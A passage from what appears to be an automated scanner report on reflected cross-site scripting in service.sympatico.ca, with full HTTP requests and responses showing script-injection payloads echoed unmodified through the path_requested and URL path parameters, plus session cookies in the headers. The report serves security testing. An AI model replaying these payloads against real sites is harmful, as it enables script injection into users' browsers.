Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /index.cfm?method=promo_urls.validate&path_requested=http%3A%2F%2Fservice%2Esympatico%2Eca%2Fincludes%2F404%2Ecfm%3F404%3Bhttp%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfmcedc3%2522%253E%253Cscript%253Ealert%281%29%253C%2Fimages%2Fbuttons%2Fbt%5Fclose%2Egif342a9"><script>alert(1)</script>1a85e48f8fa HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=sTyPdRSJvhSPU3mxDDfcjxIA/NNnleaxZ0UCCktbs8vnEV3C8swQxOeJ5yNiAqpV49lkm+/HpbJLPPm0xdd2h6oxHLCbvUgObZAsaxw57YUVGPsDwJYN+gLq4opQi698kp9I0V+dUerjAeIzGLRTckcyFRc16bIzanuqkZXt6IMVnDITtAP0gpH6Woce8gfx+Z1VKfa8afIPir9RVkex3nwV0wJ0g37cjAsWq3rCPyDCc9ssD2IUbzJrptW4jEXCiD+RX/tTTBwiOCiIjZqBQ1k6X8kKnZbfUvIX1NWKapePnja2CeQdtg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:05:19 GMT
Connection: close
Set-Cookie: SMSESSION=Y7GPngr3JGE99vVIRqRRfO/gn3Hi1RhTzxJRFSL0PSpYwG72wY3qeEtjakDz6wMRw4jjrqzQCa9GTDaEDSPQiZ58K2SBjHLoBUyB3Wd1ZvoPG1Zom8Hp4AXnUiCTjeMyzvUVfenW/xU6REOUR5e1EckaVvEPI+uVnZaqZ0vrj9cv5SApkdx9j1GyIgecTwcMbNJSc8pOdFmI2UpxpDq16YL7f27XZceWKd22C4PkGY4lXobtAiDhLiRDZgozYqUC2bIQzesGvlQXU1cxP4GdMUNC/mDr0WGV4L+yEPSRmTXVa92Kx2IPDw==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:05:19 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:05:19 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:05:19 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:05:19 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:05:19 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:05:19 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:05:19 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:05:19 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:05:19 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:05:19 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:05:19 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:05:19 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:05:19 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:05:19 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/buttons/bt_close.gif342a9"><script>alert(1)</script>1a85e48f8fa" />
...[SNIP]...

2.92. http://service.sympatico.ca/index.cfm [path_requested parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /index.cfm

Issue detail

The value of the path_requested request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 794cd"><script>alert(1)</script>7f7c4490282 was submitted in the path_requested parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/buttons/bt_close.gif794cd"><script>alert(1)</script>7f7c4490282 HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=sTyPdRSJvhSPU3mxDDfcjxIA/NNnleaxZ0UCCktbs8vnEV3C8swQxOeJ5yNiAqpV49lkm+/HpbJLPPm0xdd2h6oxHLCbvUgObZAsaxw57YUVGPsDwJYN+gLq4opQi698kp9I0V+dUerjAeIzGLRTckcyFRc16bIzanuqkZXt6IMVnDITtAP0gpH6Woce8gfx+Z1VKfa8afIPir9RVkex3nwV0wJ0g37cjAsWq3rCPyDCc9ssD2IUbzJrptW4jEXCiD+RX/tTTBwiOCiIjZqBQ1k6X8kKnZbfUvIX1NWKapePnja2CeQdtg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; GEO_SPEED=Unknown; GEO_PROVIDER=Unknown; GEO_REGION=Unknown; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:05:16 GMT
Connection: close
Set-Cookie: SMSESSION=QqWCUYSMiX8dKx6bEBFR4aXt0n37t4B1Gq5o3TNk4yV+u+mXydcLoBRxVKR1vCoRtQ8F4SWGDhpnTQb2NMQlnkTndPmSrbNaaYO/Rs901I8oktXRJWwjT3ExxrrlxTdtOsXKGqk3RtAQtVRdBTrChsz/9zwurIFajpe5MLFGkLHtdU77vS8AmQVyIJbgYgCHs1NEETWkB3PU8OiUIPXImbyv/KyKlrE54VhIB8ydQa8qs/CTrtakjFYeghnndRWFjyx5LS02xf57XquEcSUb0RZgVhJT686iC+V73OoXa6h6/8CyylDmWg==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:05:16 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:05:16 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:05:16 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:05:16 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:05:16 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:05:16 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:05:16 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:05:16 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:05:16 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:05:16 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/buttons/bt_close.gif794cd"><script>alert(1)</script>7f7c4490282" />
...[SNIP]...

2.93. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/backgrounds/bg_provinceSelector.png [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/backgrounds/bg_provinceSelector.png

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload febe9"><script>alert(1)</script>0fc2d6cd018 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3Cfebe9"><script>alert(1)</script>0fc2d6cd018/images/backgrounds/bg_provinceSelector.png HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:16:43 GMT
Connection: close
Set-Cookie: SMSESSION=5hd2K+L2VLxiweTOjUiUNRqjohUr/oj04rwl+uPIqzipT/bjMokzeqJAtgHq0GEo/izACCAwg6aDk0MZbReGA92JKrB7k7rreN9XZqGS4KEv4e4J+dXsqwfdBN3ALSRLv3xqzHxUqV3pd6q7GfBz7et9zqrYyrd22YYVnfPfyJ3+iuminMBQWAqa8xiPcrvX9nqGyS/hxkJ7jUR/c0uXWNi7oBEnsTfWXnatkBL83niVSGeTVVAJiqb8/Gv4xVzf5MCAzNnW5aRIgp718lduWQWl9kWkw6IlLF0o2CFDiGii8ZrRWD6dPA==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:16:43 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:16:43 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:16:43 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:16:43 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:16:43 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:16:43 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:16:43 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:16:43 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:16:43 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:16:43 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:16:43 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:16:43 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:16:43 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:16:43 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
e="http://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3Cfebe9"><script>alert(1)</script>0fc2d6cd018/images/backgrounds/bg_provinceSelector.png" />
...[SNIP]...

2.94. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/backgrounds/bg_provinceSelector.png [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
